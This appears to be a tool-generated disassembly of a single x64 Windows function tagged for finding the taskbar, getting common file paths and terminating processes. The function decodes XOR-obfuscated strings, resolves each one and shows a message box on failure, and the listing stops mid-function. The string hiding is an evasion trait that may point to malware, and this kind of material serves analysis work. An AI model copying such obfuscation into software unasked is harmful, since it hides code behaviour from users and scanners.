Function at 0x14003e540
Capabilities:
Find taskbar
Get common file path
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x9aa0]
mov eax, 0x9ba0
call fcn.1401089d0
sub rsp, rax
movaps xmmword [rsp + 0x9b90], xmm6
movaps xmmword [rsp + 0x9b80], xmm7
movaps xmmword [rsp + 0x9b70], xmm8
movaps xmmword [rsp + 0x9b60], xmm9
movaps xmmword [rsp + 0x9b50], xmm10
movaps xmmword [rsp + 0x9b40], xmm11
mov rax, qword [0x1401ffe18]
xor rax, rsp
mov qword [rbp + 0x9a30], rax
mov qword [rbp - 0x20], rdx
mov r13, rcx
xor eax, eax
mov r14d, eax
mov dword [rsp + 0x30], eax
movabs rax, 0x17d7cc7b4962684b
mov qword [rbp + 0x780], rax
movabs rax, 0xc14bc694f3a3497
mov qword [rbp + 0x788], rax
movabs rax, 0xd842d82e4302d6f
mov qword [rbp + 0x790], rax
movabs rcx, 0x19aed47b830164be
mov qword [rbp + 0x798], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x17b9cc0949076820
mov qword [rbp + 0x7c0], rax
movabs rax, 0xc26bc5a4f5634f2
mov qword [rbp + 0x7c8], rax
movabs rax, 0xde82deee4542d41
mov qword [rbp + 0x7d0], rax
mov qword [rbp + 0x7d8], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x7c0]
pxor xmm0, xmmword [rbp + 0x780]
movdqa xmmword [rbp + 0x13b0], xmm0
movdqa xmm1, xmmword [rbp + 0x7d0]
pxor xmm1, xmmword [rbp + 0x790]
movdqa xmmword [rbp + 0x13c0], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x13d0], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x13e0], xmm3
lea rax, [rbp + 0x5d10]
lea rcx, [rbp + 0x13b0]
mov edi, 3
mov edx, edi
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003e6a1
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea r8, [rbp + 0x5d10]
mov rdx, r13
lea rcx, [rbp + 0x6c80]
call fcn.140051d50
mov rbx, qword [rax + 0x18]
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test rbx, rbx
jne 0x14003e8e8
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x93a0], r15
movabs rax, 0xe000000020012bdc
mov qword [rbp + 0x93a8], rax
mov qword [rbp + 0x93b0], r15
mov qword [rbp + 0x93b8], rax
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movdqa xmmword [rbp + 0x6e0], xmm0
movabs rax, 0x1c43d71eb28421a0
mov qword [rbp + 0x93e0], rax
movabs rax, 0x6450cc93f4e30ebc
mov qword [rbp + 0x93e8], rax
movabs rax, 0xe0dcd82d0fbacf
mov qword [rbp + 0x93f0], rax
movabs rax, 0x7695eed08268432d
mov qword [rbp + 0x93f8], rax
movabs rax, 0x2e70bb7bdcf644cb
mov qword [rbp + 0x9420], rax
movabs rax, 0x3f70e1b3988f6a92
mov qword [rbp + 0x9428], rax
movabs rax, 0x6e95b39e0d7bd581
mov qword [rbp + 0x9430], rax
movabs rax, 0x7695eed082681e49
mov qword [rbp + 0x9438], rax
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9420]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x93f0]
pxor xmm1, xmmword [rbp + 0x9430]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x140], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x150], xmm3
lea rax, [rbp + 0x6390]
lea rcx, [rbp + 0x120]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdi, 1
jne 0x14003e860
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
xor r9d, r9d
lea r8, [rbp + 0x6e0]
lea rdx, [rbp + 0x6390]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor al, al
jmp 0x14004743b
movabs rax, 0xfa38104136d76e0
mov qword [rbp + 0x93e0], rax
movabs rax, 0x586908a7cc1551b
mov qword [rbp + 0x93e8], rax
movabs rax, 0x152e952d3ab1101b
mov qword [rbp + 0x93f0], rax
movabs rcx, 0x10502afcc99b9ea0
mov qword [rbp + 0x93f8], rcx
movabs rax, 0xfd78176130e7695
mov qword [rbp + 0x9420], rax
movabs rax, 0x5e390f97ca05579
mov qword [rbp + 0x9428], rax
movabs rax, 0x154295413ad51035
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
movdqa xmm0, xmmword [rbp + 0x9420]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x9430]
pxor xmm1, xmmword [rbp + 0x93f0]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x140], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x150], xmm5
lea rax, [rbp + 0x5eb0]
lea rcx, [rbp + 0x120]
mov rdx, rdi
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003e9c0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea r8, [rbp + 0x5eb0]
mov rdx, r13
lea rcx, [rbp + 0x70b8]
call fcn.140051d50
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x38], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test rax, rax
jne 0x14003ec08
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x93a0], r15
movabs rax, 0xe000000020013810
mov qword [rbp + 0x93a8], rax
mov qword [rbp + 0x93b0], r15
mov qword [rbp + 0x93b8], rax
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movdqa xmmword [rbp + 0x6c0], xmm0
movabs rax, 0xa46a851ea609d10
mov qword [rbp + 0x93e0], rax
movabs rax, 0x370755b71ba77d00
mov qword [rbp + 0x93e8], rax
movabs rax, 0x1d0857529613c620
mov qword [rbp + 0x93f0], rax
movabs rax, 0x69680dbe28882511
mov qword [rbp + 0x93f8], rax
movabs rax, 0x6f35c9339e12fe65
mov qword [rbp + 0x9420], rax
movabs rax, 0x6c27789777cb192e
mov qword [rbp + 0x9428], rax
movabs rax, 0x737d3814b667a96e
mov qword [rbp + 0x9430], rax
movabs rax, 0x69680dbe28887875
mov qword [rbp + 0x9438], rax
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9420]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x93f0]
pxor xmm1, xmmword [rbp + 0x9430]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x140], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x150], xmm5
lea rax, [rbp + 0x6540]
lea rcx, [rbp + 0x120]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdi, 1
jne 0x14003eb80
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
xor r9d, r9d
lea r8, [rbp + 0x6c0]
lea rdx, [rbp + 0x6540]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor al, al
jmp 0x14004743b
movabs rax, 0x35070b404c1278f
mov qword [rbp + 0x93e0], rax
movabs rax, 0x162a1a72acee1991
mov qword [rbp + 0x93e8], rax
movabs rax, 0xdfab99aab
mov qword [rbp + 0x93f0], rax
movabs rcx, 0x5c01e9ec827
mov qword [rbp + 0x93f8], rcx
movabs rax, 0x32270d104b227fa
mov qword [rbp + 0x9420], rax
movabs rax, 0x164e1a5cacdc19a2
mov qword [rbp + 0x9428], rax
movabs rax, 0xdfad59ac7
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
movdqa xmm0, xmmword [rbp + 0x9420]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x9430]
pxor xmm1, xmmword [rbp + 0x93f0]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x140], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x150], xmm3
lea rax, [rbp + 0x43d0]
lea rcx, [rbp + 0x120]
mov r12d, 2
mov edx, r12d
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003ecf0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
lea r8, [rbp + 0x43d0]
mov rdx, r13
lea rcx, [rbp + 0x74f0]
call fcn.140051d50
mov rax, qword [rax + 0x18]
mov qword [rbp - 0x50], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test rax, rax
jne 0x14003ef38
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x93a0], r15
movabs rax, 0xe000000020010907
mov qword [rbp + 0x93a8], rax
mov qword [rbp + 0x93b0], r15
mov qword [rbp + 0x93b8], rax
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movdqa xmmword [rbp + 0x6b0], xmm0
movabs rax, 0x17efe77dd47c02c6
mov qword [rbp + 0x93e0], rax
movabs rax, 0x14130005645bdc4a
mov qword [rbp + 0x93e8], rax
movabs rax, 0x14856e2f9cc7baf3
mov qword [rbp + 0x93f0], rax
movabs rcx, 0x47cd13ef592f34d3
mov qword [rbp + 0x93f8], rcx
movabs rax, 0x73c1d54ea61971b3
mov qword [rbp + 0x9420], rax
movabs rax, 0x7b5d5b25497bb026
mov qword [rbp + 0x9428], rax
movabs rax, 0x49e1005af3819a87
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
movdqa xmm0, xmmword [rbp + 0x9420]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x9430]
pxor xmm1, xmmword [rbp + 0x93f0]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x140], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x150], xmm3
lea rax, [rbp + 0x5530]
lea rcx, [rbp + 0x120]
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdi, 1
jne 0x14003eec0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
xor r9d, r9d
lea r8, [rbp + 0x6b0]
lea rdx, [rbp + 0x5530]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor al, al
jmp 0x14004743b
movabs rax, 0x1e5461b7251621cf
mov qword [rbp + 0x93e0], rax
movabs rax, 0x16e8957cf311290c
mov qword [rbp + 0x93e8], rax
movabs rax, 0xefe2bde2ae1cf
mov qword [rbp + 0x93f0], rax
movabs rcx, 0xb7310ff6a8a8963
mov qword [rbp + 0x93f8], rcx
movabs rax, 0x1e3761da256121ab
mov qword [rbp + 0x9420], rax
movabs rax, 0x16c69519f3632963
mov qword [rbp + 0x9428], rax
movabs rax, 0xefe47de46e1ab
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9420]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x9430]
pxor xmm1, xmmword [rbp + 0x93f0]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x140], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x150], xmm3
lea rax, [rbp + 0x4c30]
lea rcx, [rbp + 0x120]
mov rdx, rdi
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003f010
lea r8, [rbp + 0x4c30]
mov rdx, r13
lea rcx, [rbp + 0x7928]
call fcn.140051d50
mov rax, qword [rax + 0x18]
mov qword [rbp - 0x40], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test rax, rax
jne 0x14003f240
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x93a0], r15
movabs rax, 0xe000000020011a76
mov qword [rbp + 0x93a8], rax
mov qword [rbp + 0x93b0], r15
mov qword [rbp + 0x93b8], rax
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movdqa xmmword [rbp + 0x660], xmm0
movabs rax, 0x174c319d471a5349
mov qword [rbp + 0x93e0], rax
movabs rax, 0x79cf083c3163b960
mov qword [rbp + 0x93e8], rax
movabs rax, 0x5d2a26380d45c9f
mov qword [rbp + 0x93f0], rax
movabs rax, 0x6afc59e5ae5ee44e
mov qword [rbp + 0x93f8], rax
movabs rax, 0x392943f22477242d
mov qword [rbp + 0x9420], rax
movabs rax, 0x37942811110fd504
mov qword [rbp + 0x9428], rax
movabs rax, 0x61bcd70cc6f428f0
mov qword [rbp + 0x9430], rax
movabs rax, 0x6afc59e5ae5ee413
mov qword [rbp + 0x9438], rax
movdqa xmm0, xmmword [rbp + 0x9420]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x9430]
pxor xmm1, xmmword [rbp + 0x93f0]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x140], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x150], xmm3
lea rax, [rbp + 0x6050]
lea rcx, [rbp + 0x120]
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdi, 1
jne 0x14003f1c0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
xor r9d, r9d
lea r8, [rbp + 0x660]
lea rdx, [rbp + 0x6050]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor al, al
jmp 0x14004743b
movabs rax, 0xb04fd2eac12c18
mov qword [rbp + 0x93e0], rax
movabs rax, 0x1307854d59f25782
mov qword [rbp + 0x93e8], rax
movabs rax, 0x133431d41e
mov qword [rbp + 0x93f0], rax
movabs rcx, 0x5c5421689c0
mov qword [rbp + 0x93f8], rcx
movabs rax, 0x834fbceaa82c6f
mov qword [rbp + 0x9420], rax
movabs rax, 0x13638563598757b0
mov qword [rbp + 0x9428], rax
movabs rax, 0x13345dd472
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
movdqa xmm0, xmmword [rbp + 0x9420]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x93f0]
pxor xmm1, xmmword [rbp + 0x9430]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x140], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x150], xmm3
lea rax, [rbp + 0x4530]
lea rcx, [rbp + 0x120]
mov rdx, r12
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003f320
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
lea r8, [rbp + 0x4530]
mov rdx, r13
lea rcx, [rbp + 0x7d60]
call fcn.140051d50
mov rax, qword [rax + 0x18]
mov qword [rbp - 0x48], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test rax, rax
jne 0x14003f568
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x93a0], r15
movabs rax, 0xe0000000200166c8
mov qword [rbp + 0x93a8], rax
mov qword [rbp + 0x93b0], r15
mov qword [rbp + 0x93b8], rax
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movdqa xmmword [rbp + 0x6a0], xmm0
movabs rax, 0x1c3698fc2d399114
mov qword [rbp + 0x93e0], rax
movabs rax, 0x369977f23cc83ba
mov qword [rbp + 0x93e8], rax
movabs rax, 0x30c91462d43ef91
mov qword [rbp + 0x93f0], rax
movabs rcx, 0x4abf6de74ebde35b
mov qword [rbp + 0x93f8], rcx
movabs rax, 0x7818edce1e57f863
mov qword [rbp + 0x9420], rax
movabs rax, 0x6c27cc5f0eecefd6
mov qword [rbp + 0x9428], rax
movabs rax, 0x5e68ff334205cfe5
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
movdqa xmm0, xmmword [rbp + 0x9420]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x9430]
pxor xmm1, xmmword [rbp + 0x93f0]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x140], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x150], xmm3
lea rax, [rbp + 0x56c0]
lea rcx, [rbp + 0x120]
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdi, 1
jne 0x14003f4f0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
xor r9d, r9d
lea r8, [rbp + 0x6a0]
lea rdx, [rbp + 0x56c0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor al, al
jmp 0x14004743b
movabs rax, 0xa19a3c4945547ae
mov qword [rbp + 0x93e0], rax
movabs rax, 0x126f043db0593f91
mov qword [rbp + 0x93e8], rax
movabs rax, 0x1fffffffe0143358
mov qword [rbp + 0x93f0], rax
movabs rcx, 0xe00000001fedfaa4
mov qword [rbp + 0x93f8], rcx
movabs rax, 0xa2aa3ad943147e9
mov qword [rbp + 0x9420], rax
movabs rax, 0x12030459b0773fa3
mov qword [rbp + 0x9428], rax
movabs rax, 0x1fffffffe0143334
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
movdqa xmm0, xmmword [rbp + 0x9420]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x93f0]
pxor xmm1, xmmword [rbp + 0x9430]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x140], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x150], xmm5
lea rax, [rbp + 0x39f0]
lea rcx, [rbp + 0x120]
mov rdx, r12
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003f640
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
lea r8, [rbp + 0x39f0]
mov rdx, r13
lea rcx, [rbp + 0x8198]
call fcn.140051d50
mov r15, qword [rax + 0x18]
mov qword [rsp + 0x30], r15
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test r15, r15
jne 0x14003f872
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x93a0], r15
movabs rax, 0xe000000020014cba
mov qword [rbp + 0x93a8], rax
mov qword [rbp + 0x93b0], r15
mov qword [rbp + 0x93b8], rax
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movdqa xmmword [rbp + 0x6f0], xmm0
movabs rax, 0x1bbc6c6905077733
mov qword [rbp + 0x93e0], rax
movabs rax, 0xb0acd4d7ea42fdb
mov qword [rbp + 0x93e8], rax
movabs rax, 0x1beccbe5cc2182d8
mov qword [rbp + 0x93f0], rax
movabs rcx, 0x9735ca2f8096382
mov qword [rbp + 0x93f8], rcx
movabs rax, 0x77d8425b366e1374
mov qword [rbp + 0x9420], rax
movabs rax, 0x7f6583165e890fb7
mov qword [rbp + 0x9428], rax
movabs rax, 0x1bb1af8bb94ec4f8
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9420]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x93f0]
pxor xmm1, xmmword [rbp + 0x9430]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x140], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x150], xmm5
lea rax, [rbp + 0x59e0]
